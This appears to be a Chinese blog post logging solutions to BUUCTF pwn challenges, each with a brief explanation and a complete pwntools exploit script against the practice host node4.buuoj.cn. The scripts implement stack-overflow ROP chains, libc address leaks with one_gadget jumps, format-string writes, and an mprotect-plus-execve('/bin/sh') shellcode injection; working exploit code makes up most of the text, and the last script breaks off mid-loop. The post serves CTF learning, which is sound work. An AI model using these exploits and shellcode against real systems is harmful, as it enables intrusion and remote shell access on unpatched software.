IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> BUUCTF【pwn】解题记录(持续更新中) -> 正文阅读

[网络协议]BUUCTF【pwn】解题记录(持续更新中)


rip

最简单得,栈溢出修改main 函数得ret地址

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29105
	conn = remote(HOST ,PORT)
	payload = "A"*0x17 + p64(0x40118A)
	conn.sendline(payload)
	conn.interactive()

warmup_csaw_2016

简单得栈溢出,同上

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 27676
	conn = remote(HOST ,PORT)
	payload = "A"*0x48 + p64(0x400611)
	conn.recvuntil(">")	
	conn.sendline(payload)
	conn.interactive()

ciscn_2019_n_1

浮点数

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26824
	conn = remote(HOST ,PORT)
	payload = "A"*0x2c + "\x00\x80\x34\x41"#"\x41\x34\x80\x00"
	conn.recvuntil("Let's guess the number.")	
	conn.send(payload)
	conn.interactive()

pwn1_sctf_2016

这个题目猛一看看蒙了,猛一看c++得STL接触的比较少,这个就是用了c++的string对象,然后fgets将sx写入最长32字节的字符串,后面的功能是将I替换成you,原本输入长度为32的字符串不足以栈溢出,替换之后长度变长就会实现栈溢出。

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28382
	conn = remote(HOST ,PORT)
	
	payload = "I"*20 + "AAAA" + p32(0x08048F13) 
	conn.sendline(payload)
	pause()

	conn.interactive()

jarvisoj_level0

最简单的栈溢出,没什么好说的

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25106
	conn = remote(HOST ,PORT)

	payload = "I"*0x88 + p64(0x40059A) 
	conn.sendline(payload)
	pause()

	conn.interactive()

ciscn_2019_c_1(栈溢出+ret2libc+plt调用)

这个题目有点意思,是最最简单的经典传统的栈溢出问题…中间自己因为好久不做栈犯了好几个错误,下面改正一下。

题目分析:漏洞点明显在encrypt函数中的gets是可以导致栈溢出的(注意gets不会因为\x00截断,我之前就忘记了一直想办法…蠢…)strlen函数是可以被\x00截断的,所以下面的加密我们可以绕过
在这里插入图片描述

攻击思路:通过构造stack地址,先是利用ROPgadget结合plt表的puts函数泄露puts got表中的内容,然后利用LibcSearcher判断libc版本,plt puts的返回地址放在encrypt函数,再次触发一次栈溢出,指针指向onegadget地址,注意构造一下栈空间满足onegadget触发条件
利用代码

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def encode_func(payload):
	conn.recvuntil("Input your choice!\n")
	conn.sendline("1")
	conn.recvuntil("Input your Plaintext to be encrypted")	
	conn.sendline(payload)

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28214
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
	#conn = process("./ciscn_2019_c_1")
	#pwnlib.gdb.attach(conn,"b *0x4009DD\nb *0x0400AE2\n")	
	pause()
	
	'''步骤一:泄露puts got表中的地址内容,并且将返回地址指回encrypt函数'''
	encode_addr = 0x4009A0		#encrypt函数地址
	pop_rdi_ret = 0x400c83		#pop rdi + ret的地址
	puts_got = 0x602020			#puts中got表的地址
	puts_plt = 0x4006E0			#puts中plt表的地址
	payload = "\x00"*8 +"A"*0x50 	#填充,用\x00截断s字符串,用strlen绕过
	payload += p64(pop_rdi_ret) 	#ROPgadget中pop rdi + ret的地址
	payload += p64(puts_got) 		#将puts got地址指向rdi
	payload += p64(puts_plt) 		#调用puts plt表
	payload += p64(encode_addr)		#puts plt表调用后的返回地址,在plt调用栈空间的下一个位置

	encode_func(payload)

	conn.recvuntil("Ciphertext\n\n")
	content = conn.recvuntil("\n")[:-1]
	puts_leak = u64(content.ljust(8,"\x00"))
	print "The puts_got leak is",hex(puts_leak)
	
	'''步骤二:LibcSearcher判断libc版本'''
	libc = LibcSearcher('puts',puts_leak)
	libc_base_addr = puts_leak - libc.dump('puts') 		#libc基地址
	print "The libc base addr is",hex(libc_base_addr)

	'''步骤三:再次触发栈溢出'''
	one_gadget = libc_base_addr	+ 0x4f302				#onegadget
	payload = "\x00"*0x58 + p64(one_gadget) + "\x00"*0x70	#注意填充\x00
	conn.sendline(payload)

	conn.interactive()

[第五空间2019 决赛]PWN5

简单的32位格式化字符串,思路就是把存放在bss段的全局变量清零即可,然后清零的过程中需要一字节一字节的修改,就好了

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28116
	conn = remote(HOST ,PORT)
	pause()
	
	conn.recvuntil("your name:")
	#payload = "%12p".ljust(8,"\x00")# + p32(0x804C044)   "%0c%14$hn"

	payload = "%18$hhn%19$hhn%20$hhn%21$hhn".ljust(32,"\x00")
	payload +=  (p32(0x804C044)  + p32(0x804C044+1)  + p32(0x804C044+2)  + p32(0x804C044+3))
	conn.send(payload)	
	
	conn.recvuntil("your passwd:")
	payload = p32(0x0)
	conn.send(payload)	

	conn.interactive()

ciscn_2019_n_8

真的搞不懂和pwn有什么关系

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26693
	conn = remote(HOST ,PORT)
	pause()
	conn.recvuntil("What's your name?")
	payload = chr(0x11)*0x35 + "\x00"*20
	conn.send(payload)
	pause()

	conn.interactive()

jarvisoj_level2

什么保护都没有的栈溢出…

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29821
	conn = remote(HOST ,PORT)
	pause()
	
	bin_sh = 0x0804A024
	call_system = 0x0804845C


	conn.recvuntil("Input:")
	payload = "A"*0x8c + p32(call_system) + p32(bin_sh)
	conn.send(payload)
	pause()

	conn.interactive()

[OGeek2019]babyrop

这个题目稍微有点意思,本质上是考察32位栈溢出的ROP链如何构造的。
题目分析:首先需要绕过sub_804871F函数,用输入的一个数字匹配随机数,我们利用strlen函数\x00截断功能绕过检查,并且在构造输入的时候,可以将返回的长度变量v5覆盖成一个很大的数字
在这里插入图片描述

至于为什么控制v5,因为这个是控制下一个函数输入长度的控制变量
在这里插入图片描述
在这里插入图片描述

通过这一点就可以在 sub_80487D0函数中实现栈溢出

然后我的rop链是这么构造的,第一次构造的时候通过调用puts函数泄露libc地址

第一次构造栈溢出的payload内容如下

|------------------------|
|       AAAA.....        |    
|------------------------|
|       ......AAAA       |     ====>0xE7+4长度的随便填充
|------------------------|
|        plt_puts        |     ====>sub_80487D0函数返回地址,执行puts得plt地址
|------------------------|
|       main_addr        |     ====>puts plt得返回地址(需要学习一下plt得原理),返回main函数为了下一次栈溢出得利用
|------------------------|
|        read_got        |     ====>puts函数得输入参数
|------------------------|

第二次构造栈溢出直接onegadget即可,注意多填充一些\x00满足onegadget条件

	one_gadget = libc_base_addr + 0x3a819#0x3d2b0
	payload = "A" * (0xE7+4) + p32(one_gadget) + p32(0) * 20
	conn.send(payload)

最终利用代码如下

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29515
	conn = remote(HOST ,PORT)
	#pause()
	
	main_addr = 0x08048825		#main主函数地址
	read_got = 0x8049FC8		#read中got表的地址
	plt_puts = 0x8048548		#puts函数的plt地址

	'''第一步:调用puts函数泄露read got中的地址'''
	payload = "\x00" + "\xff" *0x18
	conn.send(payload)
	conn.recvuntil("Correct\n")
	payload = "A" * (0xE7+4)
	payload += p32(plt_puts)
	payload += p32(main_addr) 
	payload += p32(read_got)
	conn.send(payload)

	read_leak = conn.recv(4)
	read_leak = u32(read_leak)
	print "The read_got is",hex(read_leak) 
	
	'''步骤二:计算libc的基址'''
	libc = ELF("./libc-2.23-1.so")
	libc_base_addr = read_leak - libc.symbols['read']   
	#libc = LibcSearcher('read',read_leak)
	#libc_base_addr = read_leak - libc.dump('read')    
	print "The libc base is",hex(libc_base_addr)

	'''步骤三:通过第二次构造栈溢出实现onegadget'''
	payload = "\x00" + "\xff" *0x18
	conn.send(payload)
	conn.recvuntil("Correct\n")

	one_gadget = libc_base_addr + 0x3a819#0x3d2b0
	payload = "A" * (0xE7+4) + p32(one_gadget) + p32(0) * 20
	conn.send(payload)
	#pause()

	conn.interactive()

bjdctf_2020_babystack

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29515
	conn = remote(HOST ,PORT)

	conn.recvuntil("[+]Please input the length of your name:")
	conn.sendline("100")
	backdoor = 0x04006EA

	conn.recvuntil("[+]What's u name?")
	payload = "A"*0x18 + p64(backdoor)
	conn.sendline(payload)

	conn.interactive()

get_started_3dsctf_2016(mprotect+read+shellcode)

最简单得溢出,本来以为就是利用一下get_flag函数,但是现实还是啪啪啪打脸啊,人家flag在根目录下,所以我们需要用mprotect+read+shellcode得方法
思路就是利用栈溢出,用mprotect给bss段一个位置授权可执行,然后用read函数将shellcode写在该位置上,最后跳转到bss执行即可

from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 29928
	conn = remote(HOST ,PORT)

	file = ELF("./get_started_3dsctf_2016")

	main_addr = 0x8048A20
	mprotect = file.symbols['mprotect']
	bss = 0x80EC000							#注意mprotect必须是整块
	read = file.symbols['read']
	execute_size = 0x30

	'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
	payload = "A"*0x38 + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
	conn.sendline(payload)
	
	'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
	payload = "A"*0x38 + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
	conn.sendline(payload)

	'''步骤三:bss段写入shellcode'''
	shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
	conn.sendline(shellcode)

	conn.interactive()

cn_2019_en_2

和ciscn_2019_c_1解题代码一样,条件明明都没变

jarvisoj_level2_x64

简单得64位栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]
if __name__ == '__main__':
    HOST = 'node4.buuoj.cn'
    PORT = 25133
    conn = remote(HOST ,PORT)
    #conn = process("./level2_x64")
    #pwnlib.gdb.attach(conn,"b *0x040061F\n") 
    pause()
    pop_rdi_ret = 0x04006b3
    bin_sh = 0x600A90
    call_system = 0x400603
    conn.recvuntil("Input:")
    payload = "A"*0x88 + p64(pop_rdi_ret) + p64(bin_sh) + p64(call_system) 
    conn.send(payload)
    pause()
    conn.interactive()

[HarekazeCTF2019]baby_rop

最简单得栈溢出

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26134
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
	#conn = process("./babyrop")
	#pwnlib.gdb.attach(conn,"b *0x8048823\n")	
	#pause()
	pop_rdi_ret = 0x0400683
	bin_sh = 0x0601048
	call_system = 0x04005E3

	payload = "A"*0x18 + p64(pop_rdi_ret) + p64(bin_sh) + p64(call_system)
	conn.sendline(payload)
	#pause()

	conn.interactive()

not_the_same_3dsctf_2016

解题思路和get_started_3dsctf_2016一摸一样

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25916
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
	#conn = process("./not_the_same_3dsctf_2016")
	#pwnlib.gdb.attach(conn,"b *0x08048A00\n")	
	pause()

	file = ELF("./not_the_same_3dsctf_2016")
	main_addr = 0x80489E0
	mprotect = file.symbols['mprotect']
	bss = 0x80EC000						 #注意mprotect必须是整块
	read = file.symbols['read']
	execute_size = 0x30
   
	'''步骤一:利用mprotect函数修改bss段权限位7(可读可写可执行),返回地址main'''
	payload = "A"*0x2d + p32(mprotect) + p32(main_addr) + p32(bss) + p32(execute_size) + p32(7)
	conn.sendline(payload)
	
	'''步骤二:利用read写入shellcode至bss段,返回地址bss段'''
	payload = "A"*0x2d + p32(read) + p32(bss) + p32(0) + p32(bss) + p32(execute_size)
	conn.sendline(payload)
	pause()
	'''步骤三:bss段写入shellcode'''
	shellcode = "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
	conn.sendline(shellcode)
	conn.interactive()

ciscn_2019_n_5

还是栈溢出,然后泄露got地址在onegadget就行了

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 28244

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/ld-2.27.so','./pwn'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so'})
	#conn = process("./ciscn_2019_n_5")
	#pwnlib.gdb.attach(conn,"b *0x04006AA\n")	
	pause()

	bss = 0x601080
	pop_rdi_ret = 0x400713
	shellcode = ""
	puts_got = 0x601018
	puts_plt = 0x4004E0
	main = 0x400636

	'''1'''
	conn.recvuntil("tell me your name")
	conn.sendline(" ")
	conn.recvuntil("What do you want to say to me?")
	payload = "A"*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
	conn.sendline(payload)
	
	conn.recvuntil("\n")
	puts_leak = conn.recvuntil("\n")[:-1]
	puts_leak = u64(puts_leak.ljust(8,"\x00"))
	print hex(puts_leak)

	libc = LibcSearcher('puts',puts_leak)
	libc_base_addr = puts_leak - libc.dump('puts')      #libc基地址
	print "The libc base addr is",hex(libc_base_addr)

	'''2'''
	conn.recvuntil("tell me your name")
	conn.sendline(" ")
	conn.recvuntil("What do you want to say to me?")
	one_gadget = libc_base_addr + 0x4f302
	payload  = "A"*0x28 + p64(one_gadget) + p64(0)*16
	conn.sendline(payload)

	conn.interactive()

others_shellcode

无语…这是哪门子pwn?

nc node4.buuoj.cn 26997

ciscn_2019_ne_5(__environ泄露栈地址)

这个题目居然能看到其他有趣的地,首先发现IDA无法正常编辑,现象是
在这里插入图片描述

通过查询资料https://blog.csdn.net/CSNN2019/article/details/117219906应该是call的调用函数出了问题
在这里插入图片描述

用y调整成正常的scanf函数的样子就可以正常编译了
在这里插入图片描述

在AddLog函数中因为栈空间错误无法正常反编译
在这里插入图片描述

修改方法

1.在option-general-disssembly-stackpoint
2.ALT + K 直接修改栈值

在这里插入图片描述
但是我的方法是直接修改hex值
在这里插入图片描述

然后单纯从这道题来看也是稍微有点意思的,首先漏洞点在AddLogGetFlag的组合之间,源于GetFlag函数中的strcpy函数会将src长度长于栈空间的内容复制导致栈溢出。
而且32位的栈空间和libc地址都是填满的,方便我们构造ROP链
我的解题方法如下

  • 第一步:利用栈溢出调用puts函数泄露printf got表中的地址,从而计算libc基地址
  • 第二步:利用libc基地址计算__environ地址位置,然后利用puts泄露__environ内容
  • 第三步:将/bin/sh;写入栈空间,用__environ计算偏移量,然后调用system函数getshell
# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

def AddLog(payload):
	conn.sendline("1")
	conn.recvuntil("Please input new log info:")
	conn.sendline(payload)

def GetFlag():
	conn.sendline("4")

def Display():
	conn.sendline("2")


if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26445
	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./ciscn_2019_ne_5")
	#pwnlib.gdb.attach(conn,"b *0x080486FC\nb *0x08048817\n")	
	pause()
	exit = 0x8048923			#exit地址
	puts_plt = 0x80484C0		#puts plt地址
	printf_got = 0x804A014		#printf got表地址
	main = 0x8048722			#main函数地址
	system_plt=0x80484D0		#system plt地址

	'''======第一步:泄露printf在got表中的地址,从而计算libc基地址======'''
	conn.recvuntil("Please input admin password:")
	conn.sendline("administrator")
	conn.recvuntil("Welcome!")

	payload_test = "A"*0x4c+ p32(puts_plt) + p32(main) + p32(printf_got)
	AddLog(payload_test)
	GetFlag()

	conn.recvuntil("The flag is your log:")
	conn.recv(len(payload_test)+1)
	printf_leak = conn.recv(4)				#泄露地址
	printf_leak =  u32(printf_leak)
	print "The printf is",hex(printf_leak)
	
	'''判断libc版本,计算libc基地址'''
	libc = LibcSearcher('printf',printf_leak)
	libc_base = printf_leak - libc.dump("printf")

	'''根据libc基地址计算environ变量偏移'''
	environ = libc_base + libc.dump("environ")		
	print "The environ is",hex(environ)

	'''======第二步:泄露environ地址内容======'''
	conn.recvuntil("Please input admin password:")
	conn.sendline("administrator")
	conn.recvuntil("Welcome!")

	gets_addr = libc_base + libc.dump("gets") + 1
	print "The gets addr is",hex(gets_addr)
	payload_attack = "A"*0x4c+ p32(puts_plt) + p32(main) + p32(environ)
	AddLog(payload_attack)
	GetFlag()

	conn.recvuntil("The flag is your log:")
	conn.recv(len(payload_test)+1)
	environ_leak = conn.recv(4)
	environ_leak =  u32(environ_leak)
	print "The environ_leak is",hex(environ_leak)
	stack_target = environ_leak - 0x3f0			#计算我们输入对的src变量在栈空间的地址


	'''======第三步:泄露environ地址内容======'''
	conn.recvuntil("Please input admin password:")
	conn.sendline("administrator")
	conn.recvuntil("Welcome!")
	#调用system函数,stack_target是我们输入字符串的位置
	payload_attack = "/bin/sh;".ljust(0x4c,"A")+ p32(system_plt) + p32(exit) + p32(stack_target)
	AddLog(payload_attack)
	GetFlag()					#触发漏洞

	conn.interactive()

铁人三项(第五赛区)_2018_rop

简单的栈溢出,用write函数泄露read got表地址,然后利用onegadget实现控制

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25774

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./2018_rop")
	#pwnlib.gdb.attach(conn,"b *0x0804849C\n")	
	pause()

	'''步骤一:泄露read got表地址'''
	read_got = 0x0804A000
	write_plt=0x080483A0
	main = 0x080484C6
	payload = "A"*0x8c + p32(write_plt) + p32(main) + p32(0x1) + p32(read_got) + p32(0x4)
	conn.sendline(payload)
	read_leak = u32(conn.recv(4))
	
	libc = LibcSearcher("read",read_leak)
	libc_base = read_leak - libc.dump("read")
	print "The libc base is",hex(libc_base)

	'''步骤二:利用onegadget'''
	one_gadget = libc_base + 0x672a0 
	payload = "A"*0x8c + p32(one_gadget) + p32(0)*4 
	conn.sendline(payload)
	
	conn.interactive()

bjdctf_2020_babyrop

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 25861

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./bjdctf_2020_babyrop")
	#pwnlib.gdb.attach(conn,"b *0x040068A\nb *0x4006AC\nb *0x04006A5\n")	
	pause()

	read_got = 0x0601020
	puts_got = 0x0601018
	__libc_start_main = 0x0601028
	setvbuf = 0x0601030
	puts_plt=0x4004E0
	main = 0x04006AD
	pop_rdi_ret = 0x400733


	conn.recvuntil("Pull up your sword and tell me u story!")
	payload = "\x00"*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
	pause()
	conn.sendline(payload)
	conn.recv()
	puts_leak = conn.recv(6).ljust(8,"\x00")
	puts_leak = u64(puts_leak)
	print "The __libc_start_main got is",hex(puts_leak)
	
	libc = LibcSearcher("puts",puts_leak)
	libc_base = puts_leak - libc.dump("puts")
	print "The libc base is",hex(libc_base)

	conn.recvuntil("Pull up your sword and tell me u story!")
	one_gadget = libc_base + 0x170ed2#0x4f302 #0x170ed2 
	system_addr = libc_base + libc.dump('system')
	bin_sh_addr = libc_base + libc.dump("str_bin_sh")
	print "system addr is ",hex(system_addr)
	print "/bin/sh is ",hex(bin_sh_addr)

	envrion = libc_base + 0x170ed2
	pop_r12_r13_r14_r15_ret = 0x40072C
	#payload = "\x00"*0x28 + p64(one_gadget) + p64(0)*7
	payload = "A"*0x28 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) 
	#print "="*0x30
	conn.sendline(payload)
	''''''

	conn.interactive()

bjdctf_2020_babystack2

简单的无符号整数的判断绕过长度限制,然后任意长度输入实现栈溢出,没什么难度

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 27768

	conn = remote(HOST ,PORT)
	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./bjdctf_2020_babyrop")
	#pwnlib.gdb.attach(conn,"b *0x040068A\nb *0x4006AC\nb *0x04006A5\n")	
	pause()
	call_system = 0x40072A
	conn.recvuntil("[+]Please input the length of your name:")
	conn.sendline("-1")
	payload = "A"*0x18 + p64(call_system)
	conn.sendline(payload)

	conn.interactive()

jarvisoj_fm

格式化字符串修改全局变量

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26653
	conn = remote(HOST ,PORT)
	pause()
	
	#call_system = 0x80485DF
	payload = "%4c%14$hhn\x00\x00" + p32(0x804A02C)
	conn.sendline(payload)	
	conn.interactive()

pwn2_sctf_2016(syscall调用的方法有趣!)

这个题目很有趣,首先漏洞很容易,就是输入长度以后使用read函数进行输入一个字符串,因为自定义的get_n使用的是unsigned int,所以输入负数就可以实现栈溢出。
然后下面有两种方法实现利用
方法一:使用syscall调用函数
栈溢出在整体的思路不变的情况下,使用int 80h调用shell
在这里插入图片描述

调用syscall我们需要控制eaxebxecxedx,实现条件为

    eax -> 11 (execve)
    ebx -> "/bin/sh"
    ecx -> NULL
    edx -> NULL

我们先整理出来需要用到的指令

	inc_eax_ret = 0x80484D3
	inc_ecx_ret = 0x80484D7
	pop_ebx_ret = 0x804835d
	pop_edi_ebp_ret = 0x804864E
	pop_ebp_ret = 0x804864F
	add_ecx_ecx_ret = 0x804849a
	int_80 = 0x80484D0

	printf_plt = 0x8048370
	gets_n = 0x80484E3
	bin_sh_bss = 0x0804A028
	null_ecx_pos = 0x8048851

第一步:利用get_n函数将/bin/sh写入到bss段

第二步:调用printf函数打印/bin/sh,这个时候eax和ecx被控制成字符串长度7

第三步:利用inc eax控制好eax值

第四步:利用pop ebx控制ebx

第五步:利用add ecx,ecxinc ecxecx控制到null_ecx_pos

第六步:调用int 80h

直接看代码把,但是这个题目不能这么打,会因为程序异常失败

# -*- coding: utf-8 -*-
from pwn  import *
import pwnlib
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#context_terminal = ["terminator","-x","sh","-c"]

if __name__ == '__main__':
	
	HOST = 'node4.buuoj.cn'
	PORT = 26332
	conn = remote("localhost" ,1234)
	#conn = remote(HOST ,PORT)

	#conn = process(['/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so','./ciscn_2019_ne_5'], env = {'LD_PRELOAD' : '/home/assassin/Desktop/program/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so'})
	#conn = process("./pwn2_sctf_2016")
	#pwnlib.gdb.attach(conn,"b *0x080485B7\nb *0x0804859D\n")	
	pause()
	inc_eax_ret = 0x80484D3
	inc_ecx_ret = 0x80484D7
	pop_ebx_ret = 0x804835d
	pop_edi_ebp_ret = 0x804864E
	pop_ebp_ret = 0x804864F
	add_ecx_ecx_ret = 0x804849a
	int_80 = 0x80484D0

	printf_plt = 0x8048370
	gets_n = 0x80484E3
	bin_sh_bss = 0x0804A028
	null_ecx_pos = 0x8048851

	conn.recvuntil("How many bytes do you want me to read?")
	conn.sendline("-1")
	conn.recvuntil("Ok, sounds good. Give me")

	payload = "A" * 0x30
	#1  向bss段中写入/bin/sh
	payload += (p32(gets_n) + p32(pop_edi_ebp_ret) + p32(bin_sh_bss) + p32(0x11111111))
	#2  输出bss段中写入的/bin/sh,此时控制eax和ecx为0x7
	payload += (p32(printf_plt) + p32(pop_ebp_ret) + p32(bin_sh_bss))
	#3  将eax加至0xb
	payload += (p32(inc_eax_ret)*4)
	#4  ebx指向ebx
	payload += (p32(pop_ebx_ret) + p32(bin_sh_bss))
	#5  这个很精华,控制ecx通过add和inc操作从0x7增加至一个指向为NULL的地址
	ecx_now = 0x7
	target_ecx = null_ecx_pos
	info = null_ecx_pos
	temp = []
	#如果需要+1填充0,如果需要*2填充1
	while info != ecx_now:
		if info < ecx_now * 2:
